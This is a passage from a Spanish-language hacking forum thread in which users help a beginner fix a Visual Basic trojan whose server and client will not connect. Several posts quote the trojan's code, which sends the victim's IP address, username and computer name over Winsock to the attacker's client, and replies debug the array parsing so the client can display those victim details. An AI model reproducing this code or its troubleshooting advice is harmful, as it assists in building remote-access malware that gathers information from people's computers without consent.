Página 2 de 2
Re: no conecta mi troyano que voy empezando
Publicado: 12 Jul 2009, 01:01
por soy 1
Grecia escribió:creo que son ciegos
por que alguien se le ocurrio ver el codigo bien?
soy 1 escribió:
el server
WS.SendData "Hola" & "|" & "Victima" & WS.LocalIP & "|" & Environ("USERNAME") & "|" & Environ("COMPUTERNAME")
el cliente
.SubItems(1) = xdata(2)
.SubItems(2) = xdata(3)
.SubItems(3) = xdata(4)
el server envia 4 valores
y el cliente esta leyendo 5
recuerden que cuando ocuplan split
los arreglon empiezan desde la columna 0
no desde la 1
jeje entonces como lo modifico
Re: no conecta mi troyano que voy empezando
Publicado: 12 Jul 2009, 01:45
por criminalkaoz
soy 1 escribió:Grecia escribió:creo que son ciegos
por que alguien se le ocurrio ver el codigo bien?
soy 1 escribió:
el server
WS.SendData "Hola" & "|" & "Victima" & WS.LocalIP & "|" & Environ("USERNAME") & "|" & Environ("COMPUTERNAME")
el cliente
.SubItems(1) = xdata(2)
.SubItems(2) = xdata(3)
.SubItems(3) = xdata(4)
el server envia 4 valores
y el cliente esta leyendo 5
recuerden que cuando ocuplan split
los arreglon empiezan desde la columna 0
no desde la 1
jeje entonces como lo modifico
perdon dije una burrada antes sin leer el codigo :/
Re: no conecta mi troyano que voy empezando
Publicado: 12 Jul 2009, 05:39
por criminalkaoz
al comienso del modulo escribre Option Explicit
compilalo y mandame una screenshot del error
ahi seguro lo vemos.
Saludos
Re: no conecta mi troyano que voy empezando
Publicado: 12 Jul 2009, 05:42
por criminalkaoz
Grecia escribió:creo que son ciegos
por que alguien se le ocurrio ver el codigo bien?
soy 1 escribió:
el server
WS.SendData "Hola" & "|" & "Victima" & WS.LocalIP & "|" & Environ("USERNAME") & "|" & Environ("COMPUTERNAME")
el cliente
.SubItems(1) = xdata(2)
.SubItems(2) = xdata(3)
.SubItems(3) = xdata(4)
el server envia 4 valores
y el cliente esta leyendo 5
recuerden que cuando ocuplan split
los arreglon empiezan desde la columna 0
no desde la 1
todo depende si tiene Option Base 1 comienzan desde 0
y si tienen Option Base 0 evidentemente desde 0.
Re: no conecta mi troyano que voy empezando
Publicado: 12 Jul 2009, 07:04
por Grecia
criminalkaoz escribió:Grecia escribió:creo que son ciegos
por que alguien se le ocurrio ver el codigo bien?
soy 1 escribió:
el server
WS.SendData "Hola" & "|" & "Victima" & WS.LocalIP & "|" & Environ("USERNAME") & "|" & Environ("COMPUTERNAME")
el cliente
.SubItems(1) = xdata(2)
.SubItems(2) = xdata(3)
.SubItems(3) = xdata(4)
el server envia 4 valores
y el cliente esta leyendo 5
recuerden que cuando ocuplan split
los arreglon empiezan desde la columna 0
no desde la 1
todo depende si tiene Option Base 1 comienzan desde 0
y si tienen Option Base 0 evidentemente desde 0.
el lo esta haciendo desde 0
xdata() = Split(sData, "|")
Select Case xdata(0)
Case "Hola"
With LV.ListItems.Add(, , xdata(1))
.SubItems(1) = xdata(2)
.SubItems(2) = xdata(3)
.SubItems(3) = xdata(4)
End With
pero le faltan mas datos que mande desde el server o que quite un subitem